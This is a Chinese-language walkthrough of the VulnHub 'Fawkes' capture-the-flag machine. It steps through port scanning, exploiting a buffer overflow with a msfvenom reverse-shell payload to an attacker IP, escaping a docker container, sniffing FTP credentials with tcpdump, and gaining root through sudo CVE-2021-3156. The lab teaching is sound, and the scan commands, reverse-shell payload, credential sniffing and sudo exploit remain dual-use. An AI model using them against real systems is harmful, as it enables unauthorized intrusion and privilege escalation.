VulnHub靶机-Fawkes | 红队打靶
2023-6-6 08:22:19 Author: 0x00实验室(查看原文) 阅读量:23 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 12 篇文章

缓冲区溢出,流量抓包分析,docker容器判断,堆溢出漏洞提权
目标:拿到3个flag+2个root权限

主机发现

fping -gaq 192.168.56.0/24

靶机ip:192.168.56.115

kali的ip:192.168.56.102

信息收集

端口扫描、服务版本以及操作系统类型探测

端口扫描:

nmap -p- 192.168.56.115 -oA nmap_port_scan

-oA将扫描结果保存

开放了21,22,80,2222,9898端口

服务版本以及操作系统类型探测:

nmap -sV -sC -O -p21,22,80,2222,9898 192.168.56.115 -oA nmap_version_port

21端口是ftp服务,允许Anonymous登录,有一个server_hogwarts文件;22是ssh服务;80是apache的http服务,2222也是ssh服务,但是和22端口的openssh版本不同;9898端口nmap不清楚是什么服务,但是从返回结果看,可以进行一些选项的输入,应该是一个应用程序。操作系统是Linux 4.15 - 5.6(debian)

但是一台靶机上面安装了不同openssh服务,这一点很奇怪。

80端口访问

只是一张图片,源代码也没有任何东西

对80端口进行目录爆破

gobuster dir -u http://192.168.56.115 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

没有任何有用目录出现

指定后缀爆破

gobuster dir -u http://192.168.56.115 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,sql,zip,bak

结果很是惊讶,同样没有

那么就只能转到别的端口

ftp匿名登录下载文件分析

ftp 192.168.56.115

下载文件,使用file查看文件类型

发现是一个Linux下的可执行程序

缓冲区溢出漏洞利用

给予server_hogwarts执行权限,执行

发现没有任何返回

查看是否有进程和是否开了一些端口

ps -aut | grep server

ss -pantu | grep server

发现执行这个程序,它开启了本机的9898端口,看到9898端口,结合前面的信息收集,目标靶机上面也开放了9898端口,会不会目标靶机上面的9898端口运行的就是这个程序呢

先使用nc连接kali的9898端口

这个程序运行的就是类似魔法的,选中一个魔法,后面返回这个魔法成功运行

nc连接目标的9898端口

发现目标的9898端口访问的内容和下载的server_hogwarts程序运行的一样,那么就检测这个程序是否有漏洞

进行验证这个程序是否有缓冲区溢出等漏洞前,先关闭本机的alsr功能(Address  Space Layout Randomzation)地址空间布局随机化。这个功能是为了防止自己的程序有漏洞,但是黑客没有办法获取到这个程序的地址,从而防止攻击。

cd /proc/sys/kernel

修改这个路径下的文件randomize_va_space为0

那么这里验证缓冲区漏洞,使用到一款动态调试工具edb-debugger,是一款图形化工具

安装:kali上面使用apt install edb-debugger进行安装,如果安装过程中出现依赖关系,那么就更新依赖的相应的程序

测试server_hogwarts程序

打开edb-debugger工具,点击左上方的file的attach功能,选中server_hogwarts进程

attach进程之后,点击类似播放的箭头(不然无法后续操作)

nc连接9898端口,只有一个输入位置,在这个位置注入500个A

注入之后,发现edb中的EIP寄存器都是A,并且ESP寄存器也是A,所以这里存在缓冲区溢出漏洞

EIP寄存器存放的是cup下次即将执行的指令的地址,ESP寄存器是存放具体的代码

那么这个缓冲区漏洞的利用就明确了,去找到EIP寄存器存放的是哪几个A,将其强制指向ESP寄存器的地址,然后ESP寄存器存放要执行的反弹shell

使用msf-pattern_create脚本生成500个不重复的内容

重新提交到9898端口(每次提交都重新运行server_hogwarts程序,并且重新attach这个进程,shift+f8停止edb的进程)

那么使用msf-pattern_offset来查询EIP寄存器的内容的偏移量

msf-pattern_offset -l 500 -q 64413764

那么则说明113,114,115,116的位置存放的是EIP寄存器的内容

使用python重新生成一段,进行验证

EIP寄存器被42所占满,证明113,114,115,116的位置存放的是EIP寄存器的内容

那么去寻找一条jmp ESP的指令,然后构造一个payload执行反弹shell,edb中有寻找的功能

有一个操作码的查询

寻找esp指向eip,过滤具有server_hogwarts可执行权限的进程

将jmp esp的操作码记录下来

但是需要将操作码反过来,因为eip寄存器的操作码是相反的

也就是\x55\x9d\x04\08

使用msfvenom生成一段反弹shell,-b过滤\x00字符,-p生成py文件

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.169.56.102 lport=4444 -b "\x00" -f py

构造一个exp,先测试本地的server_hogwarts程序

添加32个0x90,不仅不会影响程序执行的逻辑(遇到0x90往下执行),而且是为了提高攻击代码稳定性和可实现性执行的保障

执行exp(仍然需要重启程序)

反弹shell成功

那么修改payload的IP地址为目标靶机的ip

成功反弹shell

dock容器提权,获得靶机的真实初始shell

docker容器判断

ip a

发现这个ip不是靶机的ip

cat /proc/1/cgroup

发现有docker的hash

并且隐藏文件有.dockerenv文件,那么这里处于docker容器中

这就很好的解释了前面信息收集的过程中,为什么会有两个版本不同的openssh服务

docker提权

在harry的目录下发现有.mycreds.txt隐藏文件

发现一串类似账号密码的字符串

尝试在两个ssh端口使用harry/[email protected]进行ssh登录

在2222端口成功登录,获得一个较好的shell,但是还是处于docker容器中

sudo -l

发现harry具有root的全部权限,sudo -s提升为root

拿到第一个flag

流量抓包分析

在root目录下,发现有note.txt,里面说有人正在尝试登录ftp服务,需要去分析流量,找到用户

使用tcpdump进行流量抓包分析

tcpdump -i eth0 port 21   -i指定docker的网卡

发现有用户名neville,密码bL!Bsg3k

尝试ssh登录(目前docker没有用户)

获得靶机的初始shell和第二个flag

提权

没有sudo权限可以利用,也没有定时任务

home目录下没有别的用户,当前目录下也没有suid权限的文件

操作系统用不了内核提权,通过搜索引擎,发现一个可以利用的漏洞cve-2021-3156

cve-2021-3156提权

条件系统版本:Ubuntu 20.04 (Sudo 1.8.31), Debian 10**(Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2).

该漏洞可以影响从1.8.2~1.8.31p2下的所有旧版本sudo,以及1.9.0~1.9.5p1的所有稳定版sudo。

内核和sudo版本都满足

检测:输入sudoedit -s '' perl -e 'print "A" x 65536'出现:malloc(): corrupted top sizeAborted (core dumped)

在msf中已经纳入了这个漏洞,但是由于目标靶机和公开的exp中的sudo位置不同,所以需要手动修改exp的sudo位置

修改sudo的位置

将exp传输到目标靶机上

赋予执行权限,执行

提权成功,获得第三个flag

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490416&idx=1&sn=f03a30f80f2d20040e8368660b5cc423&chksm=cfd8648ff8afed99dc7904f11c7b75f4f40390fee6bfd4ee633edb101f1918b56008fa632305#rd
如有侵权请联系:admin#unsafe.sh